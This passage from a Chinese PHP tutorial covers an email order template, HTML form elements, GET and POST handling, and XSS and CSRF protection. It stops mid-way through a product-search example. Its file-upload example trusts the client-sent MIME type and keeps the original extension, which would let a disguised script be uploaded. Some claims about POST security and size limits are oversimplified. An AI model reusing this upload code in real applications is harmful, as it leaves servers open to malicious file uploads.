                        <td style="padding: 10px; border: 1px solid #ddd;">{{item.name}}</td>
                        <td style="padding: 10px; text-align: center; border: 1px solid #ddd;">{{item.quantity}}</td>
                        <td style="padding: 10px; text-align: right; border: 1px solid #ddd;">{{format:currency(item.price)}}</td>
                        <td style="padding: 10px; text-align: right; border: 1px solid #ddd;">{{format:currency(item.quantity * item.price)}}</td>
                    </tr>
                    {% endfor %}
                </tbody>
                <tfoot>
                    <tr>
                        <td colspan="3" style="padding: 10px; text-align: right; border: 1px solid #ddd; font-weight: bold;">总计</td>
                        <td style="padding: 10px; text-align: right; border: 1px solid #ddd; font-weight: bold;">{{format:currency(order.total)}}</td>
                    </tr>
                </tfoot>
            </table>
        </div>

        {% if order.note %}
        <div style="margin: 20px 0;">
            <h3 style="color: #555; border-bottom: 2px solid #eee; padding-bottom: 10px;">订单备注</h3>
            <p>{{order.note}}</p>
        </div>
        {% endif %}

        <div style="margin: 30px 0; padding: 20px; background-color: #f0f8ff; border-radius: 5px;">
            <p style="margin: 0; text-align: center;">如有任何问题,请联系我们的客服团队</p>
            <p style="margin: 5px 0; text-align: center;">电话:400-123-4567 | 邮箱:service@example.com</p>
        </div>

        <p style="text-align: center; color: #666; font-size: 12px; margin-top: 30px;">
            此邮件由系统自动发送,请勿回复
        </p>
    </div>
</body>
</html>
HTML;

// 使用示例
$email = new EmailTemplate($orderConfirmationTemplate);

$email->setMultiple([
    'customer' => [
        'name' => '李明',
        'address' => '中关村大街1号',
        'city' => '北京市',
        'province' => '北京',
        'postal_code' => '100080',
        'phone' => '13812345678'
    ],
    'order' => [
        'number' => 'ORD202401150001',
        'created_at' => '2024-01-15 10:30:00',
        'payment_method' => '支付宝',
        'total' => 5356.00,
        'note' => '请在工作日配送',
        'items' => [
            ['name' => '笔记本电脑', 'quantity' => 1, 'price' => 4999.00],
            ['name' => '无线鼠标', 'quantity' => 2, 'price' => 99.00],
            ['name' => 'USB键盘', 'quantity' => 1, 'price' => 159.00]
        ]
    ]
]);

echo $email->render();

// 发送邮件(需要配置邮件服务器)
// $email->send('customer@example.com', '订单确认 - ORD202401150001');
?>

本节练习

基础练习

  1. 使用number_format()格式化不同类型的数字(价格、百分比、科学计数法等)
  2. 使用printf()sprintf()创建格式化的表格输出
  3. 使用str_pad()实现对齐的文本显示
  4. 使用date()函数创建各种日期格式

进阶练习

  1. 创建一个完整的报表生成器,支持多种输出格式
  2. 实现一个简单的模板引擎,支持变量替换和条件渲染
  3. 开发一个CSV导入导出工具
  4. 创建一个邮件模板系统,支持动态内容生成

实战练习

  1. 完善AdvancedTemplate类,添加更多功能(循环、过滤器等)
  2. 扩展EmailTemplate类,支持邮件队列和批量发送
  3. 创建一个数据可视化工具,将数据转换为图表格式
  4. 实现一个多语言支持的格式化系统

总结

本节我们学习了PHP字符串格式化的各种技术:

  • 数字格式化number_format(), printf(), sprintf()
  • 字符串填充对齐str_pad(), sprintf()对齐功能
  • 日期时间格式化date()函数和DateTime类
  • 模板系统:从简单模板到高级模板引擎
  • 实际应用:CSV生成、报表生成、邮件系统等

字符串格式化是Web开发中的重要技能,它能让数据显示更加美观和专业。掌握这些技术将帮助你创建用户友好的界面和专业的报告系统。

💡 学习建议

  1. 熟悉各种格式化函数的参数和用法
  2. 注意本地化和国际化问题
  3. 在实际项目中灵活应用不同的格式化技术
  4. 考虑性能优化,避免过度格式化
  5. 始终考虑安全性,特别是在处理用户输入时

章节总结:通过本章的学习,你已经掌握了PHP字符串处理的全面知识,从基础操作到高级应用,为后续的Web开发打下了坚实的基础。

Web表单处理概述

学习目标

  • 理解Web表单在Web应用中的重要作用
  • 掌握表单与PHP的交互原理
  • 了解表单处理的安全考虑
  • 学会设计用户友好的表单界面

为什么学习Web表单处理

Web表单是用户与Web应用程序交互的主要方式,几乎所有的动态网站都需要使用表单来收集用户输入:

  • 用户注册/登录:收集用户凭据信息
  • 数据收集:用户反馈、问卷调查、信息提交
  • 内容管理:博客文章、评论、商品信息发布
  • 搜索功能:搜索条件输入
  • 文件上传:图片、文档等文件提交

表单处理的重要性

在PHP Web开发中,表单处理是最基础也是最重要的技能之一:

  1. 用户体验:良好的表单设计提升用户满意度
  2. 数据安全:防止恶意数据注入和攻击
  3. 数据完整性:确保用户输入的数据格式正确
  4. 系统可靠性:处理各种异常情况和边界条件

表单处理的基本流程

graph LR
    A[用户填写表单] --> B[客户端验证]
    B --> C[表单提交到服务器]
    C --> D[服务器端验证]
    D --> E[数据处理]
    E --> F[数据库存储/其他处理]
    F --> G[返回结果给用户]

安全性考虑

处理Web表单时必须考虑以下安全威胁:

  1. XSS(跨站脚本攻击):防止恶意脚本注入
  2. CSRF(跨站请求伪造):防止恶意网站提交表单
  3. SQL注入:防止SQL查询被恶意篡改
  4. 文件上传漏洞:防止恶意文件上传
  5. 数据验证:确保数据格式和内容合法

本章学习路径

本章将从以下几个方面深入讲解PHP表单处理:

  1. HTML表单基础:学习HTML表单元素的创建和属性
  2. GET和POST方法:理解HTTP请求方法的区别和应用
  3. 表单验证:掌握客户端和服务器端验证技术
  4. 文件上传:学会处理文件上传和安全控制

实践建议

  • 从简单的表单开始,逐步增加复杂度
  • 重视安全性,养成安全的编码习惯
  • 注重用户体验,提供清晰的错误提示
  • 使用适当的验证技术,确保数据质量
  • 学习使用现有的表单处理库和框架

总结

Web表单处理是PHP Web开发的核心技能,它连接了前端用户界面和后端业务逻辑。通过本章的学习,你将掌握创建安全、高效、用户友好的表单处理系统的能力,为开发完整的Web应用程序奠定坚实基础。

在接下来的章节中,我们将逐步深入学习表单处理的各个方面,并通过实际项目来巩固所学知识。

HTML表单基础

学习目标

  • 掌握HTML表单的基本结构和属性
  • 学会使用各种表单元素
  • 理解表单元素的属性配置
  • 能够创建符合Web标准的表单

HTML表单基础结构

HTML表单由<form>标签包裹,包含各种输入元素。基本的表单结构如下:

<!DOCTYPE html>
<html>
<head>
    <title>用户注册表单</title>
    <meta charset="UTF-8">
</head>
<body>
    <form action="process.php" method="post" enctype="multipart/form-data">
        <!-- 表单元素将在这里 -->
        <input type="submit" value="提交">
    </form>
</body>
</html>

form标签的重要属性

1. action属性

指定表单数据提交的目标URL:

<!-- 提交到同一目录下的process.php文件 -->
<form action="process.php" method="post">

<!-- 提交到完整的URL -->
<form action="https://example.com/api/submit" method="post">

<!-- 提交到当前页面(常用于表单自处理) -->
<form action="" method="post">
<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="post">

2. method属性

指定HTTP请求方法:

<!-- GET方法:数据通过URL传递,有长度限制,不安全 -->
<form action="search.php" method="get">

<!-- POST方法:数据通过HTTP请求体传递,安全,适合敏感数据 -->
<form action="login.php" method="post">

3. enctype属性

指定表单数据的编码类型:

<!-- 默认值:application/x-www-form-urlencoded -->
<form action="submit.php" method="post" enctype="application/x-www-form-urlencoded">

<!-- 文件上传时必须使用:multipart/form-data -->
<form action="upload.php" method="post" enctype="multipart/form-data">

<!-- 纯文本编码,很少使用 -->
<form action="submit.php" method="post" enctype="text/plain">

4. 其他常用属性

<form action="process.php" method="post"
      target="_blank"           <!-- 在新窗口打开结果 -->
      autocomplete="on"         <!-- 启用自动完成 -->
      novalidate>               <!-- 禁用浏览器验证 -->

常用表单元素

1. 文本输入框

<!-- 单行文本输入 -->
<label for="username">用户名:</label>
<input type="text" id="username" name="username"
       placeholder="请输入用户名"
       maxlength="20"
       required>

<!-- 密码输入框 -->
<label for="password">密码:</label>
<input type="password" id="password" name="password"
       minlength="8"
       required>

<!-- 邮箱输入框(HTML5验证) -->
<label for="email">邮箱:</label>
<input type="email" id="email" name="email"
       placeholder="example@domain.com"
       required>

<!-- 数字输入框 -->
<label for="age">年龄:</label>
<input type="number" id="age" name="age"
       min="1" max="120" step="1">

<!-- 电话号码输入框 -->
<label for="phone">电话:</label>
<input type="tel" id="phone" name="phone"
       pattern="[0-9]{11}"
       placeholder="请输入11位手机号">

2. 文本域

<!-- 多行文本输入 -->
<label for="message">留言:</label>
<textarea id="message" name="message"
          rows="5" cols="40"
          maxlength="500"
          placeholder="请输入您的留言..."
          required></textarea>

3. 单选按钮

<fieldset>
    <legend>性别:</legend>
    <label>
        <input type="radio" name="gender" value="male" required> 男
    </label>
    <label>
        <input type="radio" name="gender" value="female"> 女
    </label>
    <label>
        <input type="radio" name="gender" value="other"> 其他
    </label>
</fieldset>

4. 复选框

<fieldset>
    <legend>兴趣爱好:</legend>
    <label>
        <input type="checkbox" name="hobbies[]" value="reading"> 阅读
    </label>
    <label>
        <input type="checkbox" name="hobbies[]" value="music"> 音乐
    </label>
    <label>
        <input type="checkbox" name="hobbies[]" value="sports"> 运动
    </label>
</fieldset>

5. 下拉选择框

<!-- 单选下拉框 -->
<label for="city">城市:</label>
<select id="city" name="city" required>
    <option value="">请选择城市</option>
    <option value="beijing">北京</option>
    <option value="shanghai">上海</option>
    <option value="guangzhou">广州</option>
    <option value="shenzhen">深圳</option>
</select>

<!-- 多选下拉框 -->
<label for="skills">技能:</label>
<select id="skills" name="skills[]" multiple size="4">
    <option value="php">PHP</option>
    <option value="javascript">JavaScript</option>
    <option value="python">Python</option>
    <option value="java">Java</option>
    <option value="css">CSS</option>
</select>

<!-- 分组下拉框 -->
<label for="province">省份:</label>
<select id="province" name="province">
    <optgroup label="华北地区">
        <option value="beijing">北京</option>
        <option value="tianjin">天津</option>
    </optgroup>
    <optgroup label="华东地区">
        <option value="shanghai">上海</option>
        <option value="jiangsu">江苏</option>
    </optgroup>
</select>

6. 文件上传

<!-- 单文件上传 -->
<label for="avatar">头像:</label>
<input type="file" id="avatar" name="avatar"
       accept="image/*"
       required>

<!-- 多文件上传 -->
<label for="documents">文档:</label>
<input type="file" id="documents" name="documents[]"
       multiple
       accept=".pdf,.doc,.docx">

<!-- 隐藏的文件上传(美观的界面) -->
<div class="file-upload">
    <input type="file" id="fileInput" name="file" style="display: none;">
    <button type="button" onclick="document.getElementById('fileInput').click()">
        选择文件
    </button>
    <span id="fileName">未选择文件</span>
</div>

7. 按钮类型

<!-- 提交按钮 -->
<input type="submit" value="注册">
<button type="submit">注册</button>

<!-- 重置按钮 -->
<input type="reset" value="重置表单">
<button type="reset">重置表单</button>

<!-- 普通按钮 -->
<input type="button" value="普通按钮" onclick="alert('点击了按钮')">
<button type="button" onclick="alert('点击了按钮')">普通按钮</button>

<!-- 图像按钮 -->
<input type="image" src="submit.gif" alt="提交" width="100" height="30">

8. 隐藏字段

<!-- 用于传递不需要用户看到的数据 -->
<input type="hidden" name="user_id" value="<?php echo $user_id; ?>">
<input type="hidden" name="csrf_token" value="<?php echo generate_csrf_token(); ?>">

表单分组和标签

fieldset和legend

<form action="process.php" method="post">
    <fieldset>
        <legend>基本信息</legend>
        <label for="name">姓名:</label>
        <input type="text" id="name" name="name" required>

        <label for="email">邮箱:</label>
        <input type="email" id="email" name="email" required>
    </fieldset>

    <fieldset>
        <legend>联系方式</legend>
        <label for="phone">电话:</label>
        <input type="tel" id="phone" name="phone">

        <label for="address">地址:</label>
        <input type="text" id="address" name="address">
    </fieldset>
</form>

label标签的正确使用

<!-- 方法1:使用for属性关联 -->
<label for="username">用户名:</label>
<input type="text" id="username" name="username">

<!-- 方法2:包裹input元素 -->
<label>
    密码:
    <input type="password" name="password">
</label>

<!-- 方法3:隐藏label(仅用于屏幕阅读器) -->
<label for="search" class="sr-only">搜索:</label>
<input type="search" id="search" name="search" placeholder="搜索...">

HTML5新增特性

1. 新的输入类型

<!-- 日期选择器 -->
<label for="birthdate">出生日期:</label>
<input type="date" id="birthdate" name="birthdate">

<!-- 时间选择器 -->
<label for="time">预约时间:</label>
<input type="time" id="time" name="time">

<!-- 日期时间选择器 -->
<label for="datetime">会议时间:</label>
<input type="datetime-local" id="datetime" name="datetime">

<!-- 月份选择器 -->
<label for="month">月份:</label>
<input type="month" id="month" name="month">

<!-- 周选择器 -->
<label for="week">周:</label>
<input type="week" id="week" name="week">

<!-- 颜色选择器 -->
<label for="color">主题颜色:</label>
<input type="color" id="color" name="color" value="#ff0000">

<!-- URL输入 -->
<label for="website">个人网站:</label>
<input type="url" id="website" name="website" placeholder="https://">

<!-- 范围滑块 -->
<label for="volume">音量:</label>
<input type="range" id="volume" name="volume"
       min="0" max="100" value="50" step="1">
<span id="volumeValue">50</span>

<!-- 搜索框 -->
<label for="search">搜索:</label>
<input type="search" id="search" name="search"
       placeholder="输入搜索关键词..."
       autocomplete="on">

2. 表单验证属性

<!-- 必填字段 -->
<input type="text" name="username" required>

<!-- 最小/最大长度 -->
<input type="text" name="username"
       minlength="3" maxlength="20">

<!-- 最小/最大值 -->
<input type="number" name="age"
       min="18" max="100">

<!-- 步长 -->
<input type="number" name="quantity"
       min="0" max="10" step="0.5">

<!-- 正则表达式验证 -->
<input type="text" name="phone"
       pattern="[0-9]{3}-[0-9]{4}-[0-9]{4}"
       title="格式:xxx-xxxx-xxxx">

完整的用户注册表单示例

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户注册</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 0 auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
        }
        input, select, textarea {
            width: 100%;
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }
        input[type="radio"], input[type="checkbox"] {
            width: auto;
            margin-right: 5px;
        }
        .error {
            color: red;
            font-size: 12px;
            margin-top: 5px;
        }
        button {
            background-color: #007bff;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <h1>用户注册</h1>

    <form action="register.php" method="post" id="registrationForm">
        <!-- 基本信息 -->
        <fieldset>
            <legend>基本信息</legend>

            <div class="form-group">
                <label for="username">用户名:</label>
                <input type="text" id="username" name="username"
                       placeholder="请输入用户名"
                       minlength="3" maxlength="20"
                       required>
                <div class="error" id="usernameError"></div>
            </div>

            <div class="form-group">
                <label for="email">邮箱:</label>
                <input type="email" id="email" name="email"
                       placeholder="example@domain.com"
                       required>
                <div class="error" id="emailError"></div>
            </div>

            <div class="form-group">
                <label for="password">密码:</label>
                <input type="password" id="password" name="password"
                       minlength="8"
                       required>
                <div class="error" id="passwordError"></div>
            </div>

            <div class="form-group">
                <label for="confirmPassword">确认密码:</label>
                <input type="password" id="confirmPassword" name="confirmPassword"
                       required>
                <div class="error" id="confirmPasswordError"></div>
            </div>

            <div class="form-group">
                <label>性别:</label>
                <label>
                    <input type="radio" name="gender" value="male" required> 男
                </label>
                <label>
                    <input type="radio" name="gender" value="female"> 女
                </label>
            </div>
        </fieldset>

        <!-- 个人信息 -->
        <fieldset>
            <legend>个人信息</legend>

            <div class="form-group">
                <label for="birthdate">出生日期:</label>
                <input type="date" id="birthdate" name="birthdate">
            </div>

            <div class="form-group">
                <label for="phone">电话:</label>
                <input type="tel" id="phone" name="phone"
                       pattern="[0-9]{11}"
                       placeholder="请输入11位手机号">
            </div>

            <div class="form-group">
                <label for="address">地址:</label>
                <input type="text" id="address" name="address">
            </div>

            <div class="form-group">
                <label for="bio">个人简介:</label>
                <textarea id="bio" name="bio"
                          rows="4"
                          maxlength="200"
                          placeholder="简单介绍一下自己..."></textarea>
            </div>
        </fieldset>

        <!-- 兴趣爱好 -->
        <fieldset>
            <legend>兴趣爱好</legend>

            <div class="form-group">
                <label>请选择您的爱好:</label>
                <div>
                    <label>
                        <input type="checkbox" name="hobbies[]" value="reading"> 阅读
                    </label>
                    <label>
                        <input type="checkbox" name="hobbies[]" value="music"> 音乐
                    </label>
                    <label>
                        <input type="checkbox" name="hobbies[]" value="sports"> 运动
                    </label>
                    <label>
                        <input type="checkbox" name="hobbies[]" value="travel"> 旅行
                    </label>
                    <label>
                        <input type="checkbox" name="hobbies[]" value="photography"> 摄影
                    </label>
                </div>
            </div>
        </fieldset>

        <!-- 头像上传 -->
        <fieldset>
            <legend>头像上传</legend>

            <div class="form-group">
                <label for="avatar">选择头像:</label>
                <input type="file" id="avatar" name="avatar"
                       accept="image/*">
            </div>
        </fieldset>

        <!-- 服务条款 -->
        <div class="form-group">
            <label>
                <input type="checkbox" name="terms" required>
                我已阅读并同意<a href="terms.html">服务条款</a>
            </label>
        </div>

        <!-- 提交按钮 -->
        <div class="form-group">
            <button type="submit">注册</button>
            <button type="reset">重置</button>
        </div>
    </form>

    <script>
        // 简单的客户端验证
        document.getElementById('registrationForm').addEventListener('submit', function(e) {
            let isValid = true;

            // 验证密码匹配
            const password = document.getElementById('password').value;
            const confirmPassword = document.getElementById('confirmPassword').value;
            const confirmError = document.getElementById('confirmPasswordError');

            if (password !== confirmPassword) {
                confirmError.textContent = '密码不匹配';
                isValid = false;
            } else {
                confirmError.textContent = '';
            }

            if (!isValid) {
                e.preventDefault();
            }
        });
    </script>
</body>
</html>

最佳实践

  1. 使用语义化HTML:正确使用label、fieldset等标签
  2. 提供良好的用户体验:清晰的标签、合理的布局、即时反馈
  3. 移动端友好:使用响应式设计和适当的输入类型
  4. 安全性考虑:使用适当的方法和编码类型
  5. 无障碍访问:确保表单对残障用户友好

总结

HTML表单是Web应用程序中用户交互的基础。掌握表单的创建和各种输入元素的使用,是开发高质量Web应用的前提。在下一章中,我们将学习如何处理这些表单数据,包括GET和POST方法的使用。

GET和POST方法

学习目标

  • 理解HTTP GET和POST方法的区别和应用场景
  • 掌握PHP中处理GET和POST请求的方法
  • 学会正确选择合适的HTTP方法
  • 了解安全性考虑和最佳实践

HTTP方法概述

HTTP协议定义了多种请求方法,其中最常用的是GET和POST。这两种方法在Web开发中用于向服务器发送数据。

GET方法

GET方法用于从服务器获取数据,其特点包括:

  • 数据通过URL参数传递
  • 有数据长度限制(通常2048字符)
  • 可以被浏览器缓存
  • 可以被收藏为书签
  • 不适合传输敏感信息

POST方法

POST方法用于向服务器提交数据,其特点包括:

  • 数据通过HTTP请求体传递
  • 没有数据长度限制
  • 不会被浏览器缓存
  • 不能被收藏为书签
  • 适合传输敏感信息

PHP中的超全局变量

PHP提供了两个重要的超全局变量来处理HTTP请求数据:

$_GET 超全局变量

包含通过GET方法传递的所有参数:

<?php
// 获取单个参数
$name = $_GET['name'];

// 检查参数是否存在
if (isset($_GET['name'])) {
    $name = $_GET['name'];
}

// 安全获取参数(带默认值)
$name = isset($_GET['name']) ? $_GET['name'] : 'Guest';

// 使用null合并运算符(PHP 7+)
$name = $_GET['name'] ?? 'Guest';
?>

$_POST 超全局变量

包含通过POST方法传递的所有参数:

<?php
// 获取POST数据
$username = $_POST['username'];
$password = $_POST['password'];

// 检查表单是否提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 处理表单数据
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
}
?>

GET方法详解

基本用法

<!-- HTML表单使用GET方法 -->
<form action="search.php" method="get">
    <label for="query">搜索:</label>
    <input type="text" id="query" name="query" placeholder="输入搜索关键词">
    <button type="submit">搜索</button>
</form>
<?php
// search.php - 处理GET请求
if (isset($_GET['query']) && !empty($_GET['query'])) {
    $searchQuery = trim($_GET['query']);

    // 安全处理:防止XSS攻击
    $searchQuery = htmlspecialchars($searchQuery, ENT_QUOTES, 'UTF-8');

    echo "您搜索的内容是:" . $searchQuery;

    // 这里可以执行数据库搜索操作
    // $results = searchDatabase($searchQuery);
} else {
    echo "请输入搜索关键词";
}
?>

URL参数构建

<?php
// 手动构建GET URL
$params = [
    'category' => 'books',
    'page' => 2,
    'sort' => 'price'
];

$queryString = http_build_query($params);
$url = 'products.php?' . $queryString;
// 结果:products.php?category=books&page=2&sort=price

// 重定向到带参数的URL
header('Location: ' . $url);
exit;
?>

分页示例

<?php
// 分页处理示例
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$perPage = 10;

// 计算偏移量
$offset = ($page - 1) * $perPage;

// 构建分页链接
function buildPageLink($currentPage, $totalPages) {
    $links = '';

    // 上一页
    if ($currentPage > 1) {
        $links .= '<a href="?page=' . ($currentPage - 1) . '">上一页</a> ';
    }

    // 页码
    for ($i = 1; $i <= $totalPages; $i++) {
        if ($i == $currentPage) {
            $links .= '<strong>' . $i . '</strong> ';
        } else {
            $links .= '<a href="?page=' . $i . '">' . $i . '</a> ';
        }
    }

    // 下一页
    if ($currentPage < $totalPages) {
        $links .= '<a href="?page=' . ($currentPage + 1) . '">下一页</a>';
    }

    return $links;
}
?>

POST方法详解

基本表单处理

<!-- HTML表单使用POST方法 -->
<form action="register.php" method="post">
    <div>
        <label for="username">用户名:</label>
        <input type="text" id="username" name="username" required>
    </div>
    <div>
        <label for="email">邮箱:</label>
        <input type="email" id="email" name="email" required>
    </div>
    <div>
        <label for="password">密码:</label>
        <input type="password" id="password" name="password" required>
    </div>
    <button type="submit">注册</button>
</form>
<?php
// register.php - 处理POST请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 获取并清理POST数据
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';

    // 基本验证
    $errors = [];

    if (empty($username)) {
        $errors[] = '用户名不能为空';
    } elseif (strlen($username) < 3) {
        $errors[] = '用户名至少3个字符';
    }

    if (empty($email)) {
        $errors[] = '邮箱不能为空';
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = '邮箱格式不正确';
    }

    if (empty($password)) {
        $errors[] = '密码不能为空';
    } elseif (strlen($password) < 8) {
        $errors[] = '密码至少8个字符';
    }

    // 如果没有错误,处理注册逻辑
    if (empty($errors)) {
        // 密码加密
        $hashedPassword = password_hash($password, PASSWORD_DEFAULT);

        // 保存到数据库(示例)
        // saveUser($username, $email, $hashedPassword);

        echo "注册成功!欢迎," . htmlspecialchars($username);
    } else {
        // 显示错误信息
        foreach ($errors as $error) {
            echo '<p style="color: red;">' . htmlspecialchars($error) . '</p>';
        }
    }
}
?>

文件上传处理

<!-- 文件上传表单 -->
<form action="upload.php" method="post" enctype="multipart/form-data">
    <div>
        <label for="file">选择文件:</label>
        <input type="file" id="file" name="file" accept="image/*" required>
    </div>
    <div>
        <label for="description">文件描述:</label>
        <textarea id="description" name="description" rows="3"></textarea>
    </div>
    <button type="submit">上传文件</button>
</form>
<?php
// upload.php - 处理文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $file = $_FILES['file'];

        // 文件信息
        $fileName = $file['name'];
        $fileTmpName = $file['tmp_name'];
        $fileSize = $file['size'];
        $fileType = $file['type'];

        // 文件验证
        $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
        $maxSize = 5 * 1024 * 1024; // 5MB

        if (!in_array($fileType, $allowedTypes)) {
            die('只允许上传 JPEG、PNG 和 GIF 图片');
        }

        if ($fileSize > $maxSize) {
            die('文件大小不能超过 5MB');
        }

        // 生成唯一文件名
        $fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);
        $newFileName = uniqid() . '.' . $fileExtension;
        $uploadDir = 'uploads/';

        // 确保上传目录存在
        if (!file_exists($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }

        // 移动文件到目标位置
        if (move_uploaded_file($fileTmpName, $uploadDir . $newFileName)) {
            $description = $_POST['description'] ?? '';

            // 保存文件信息到数据库
            // saveFileInfo($newFileName, $description, $fileType, $fileSize);

            echo "文件上传成功!文件名:" . htmlspecialchars($newFileName);
        } else {
            echo "文件上传失败";
        }
    } else {
        echo "请选择要上传的文件";
    }
}
?>

GET vs POST 对比

详细对比表

特性GETPOST
数据传递方式URL参数HTTP请求体
数据长度限制约2048字符无限制
安全性较低(数据可见)较高(数据隐藏)
缓存可缓存不可缓存
书签可收藏不可收藏
浏览器历史保存不保存
幂等性幂等非幂等
用途获取数据提交数据

选择指南

使用GET的场景:

  • 搜索功能
  • 分页
  • 过滤和排序
  • 获取资源
  • 书签友好的操作

使用POST的场景:

  • 用户注册/登录
  • 表单提交
  • 文件上传
  • 敏感数据传输
  • 状态改变操作

安全性考虑

1. 防止XSS攻击

<?php
// 始终对用户输入进行转义
$userInput = $_GET['input'] ?? '';
$safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

echo $safeOutput;
?>

2. 防止CSRF攻击

<?php
session_start();

// 生成CSRF令牌
function generateCsrfToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// 验证CSRF令牌
function validateCsrfToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// 在表单中包含令牌
$csrfToken = generateCsrfToken();
?>

<!-- 在HTML表单中添加隐藏字段 -->
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">

<?php
// 处理表单时验证令牌
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = $_POST['csrf_token'] ?? '';
    if (!validateCsrfToken($token)) {
        die('CSRF验证失败');
    }

    // 处理表单数据...
}
?>

3. 输入验证和过滤

<?php
// 使用PHP内置过滤器
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 1, 'max_range' => 120]
]);

// 自定义过滤函数
function sanitizeInput($input, $type = 'string') {
    switch ($type) {
        case 'email':
            return filter_var($input, FILTER_SANITIZE_EMAIL);
        case 'int':
            return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
        case 'string':
        default:
            return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
    }
}
?>

综合示例:搜索和过滤系统

HTML表单

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>产品搜索</title>
    <style>
        .search-form {
            margin: 20px 0;
            padding: 20px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
        }
        input, select {
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }
        button {
            background-color: #007bff;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 3px;
            cursor: pointer;
        }
        .results {
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <h1>产品搜索</h1>

    <!-- GET搜索表单 -->
    <form method="get" class="search-form">
        <div class="form-group">
            <label for="keyword">关键词:</label>
            <input type="text" id="keyword" name="keyword"
                   value="<?php echo htmlspecialchars($_GET['keyword'] ?? ''); ?>"
                   placeholder="输入产品关键词">
        </div>

        <div class="form-group">
            <label for="category">分类:</label>
            <select id="category" name="category">
                <option value="">全部分类</option>
                <option value="electronics" <?php echo (($_GET['category'] ?? '') === 'electronics') ? 'selected' : ''; ?>>
                    电子产品
                </option>
                <option value="books" <?php echo (($_GET['category'] ?? '') === 'books') ? 'selected' : ''; ?>>
                    图书
                </option>
                <option value="clothing" <?php echo (($_GET['category'] ?? '') === 'clothing') ? 'selected' : ''; ?>>
                    服装
                </option>
            </select>
        </div>

        <div class="form-group">
            <label for="minPrice">最低价格:</label>
            <input type="number" id="minPrice" name="min_price"
                   value="<?php echo htmlspecialchars($_GET['min_price'] ?? ''); ?>"
                   min="0" step="0.01">
        </div>

        <div class="form-group">
            <label for="maxPrice">最高价格:</label>
            <input type="number" id="maxPrice" name="max_price"
                   value="<?php echo htmlspecialchars($_GET['max_price'] ?? ''); ?>"
                   min="0" step="0.01">
        </div>

        <button type="submit">搜索</button>
        <a href="?">清除筛选</a>
    </form>

    <!-- 搜索结果将通过AJAX加载到这个区域 -->
    <div id="results" class="results">
        <!-- 结果内容 -->
    </div>
</body>
</html>

PHP处理逻辑

<?php
// search.php
function searchProducts($params) {
    // 模拟数据库查询
    $allProducts = [
        ['id' => 1, 'name' => '智能手机', 'category' => 'electronics', 'price' => 2999.99],
        ['id' => 2, 'name' => 'PHP编程指南', 'category' => 'books', 'price' => 89.90],
        ['id' => 3, 'name' => '运动T恤', 'category' => 'clothing', 'price' => 199.00],
        ['id' => 4, 'name' => '笔记本电脑', 'category' => 'electronics', 'price' => 5999.99],
        ['id' => 5, 'name' => 'JavaScript高级编程', 'category' => 'books', 'price' => 129.00],
    ];

    $filteredProducts = $allProducts;

    // 关键词过滤
    if (!empty($params['keyword'])) {
        $keyword = strtolower($params['keyword']);
        $filteredProducts = array_filter($filteredProducts, function($product) use ($keyword) {
            return strpos(strtolower($product['name']), $keyword) !== false;
        });
    }

    // 分类过滤
    if (!empty($params['category'])) {
        $filteredProducts = array_filter($filteredProducts, function($product) use ($params) {
            return $product['category'] === $params['category'];
        });
    }

    // 价格过滤
    if (!empty($params['min_price'])) {
        $minPrice = (float)$params['min_price'];
        $filteredProducts = array_filter($filteredProducts, function($product) use ($minPrice) {
            return $product['price'] >= $minPrice;
        });
    }

    if (!empty($params['max_price'])) {
        $maxPrice = (float)$params['max_price'];
        $filteredProducts = array_filter($filteredProducts, function($product) use ($maxPrice) {
            return $product['price'] <= $maxPrice;
        });
    }

    return array_values($filteredProducts);
}

// 处理搜索请求
$searchParams = [
    'keyword' => trim($_GET['keyword'] ?? ''),
    'category' => $_GET['category'] ?? '',
    'min_price' => $_GET['min_price'] ?? '',
    'max_price' => $_GET['max_price'] ?? ''
];

$results = searchProducts($searchParams);

// 显示搜索结果
if (!empty($results)) {
    echo '<h3>搜索结果(共 ' . count($results) . ' 个产品)</h3>';

    foreach ($results as $product) {
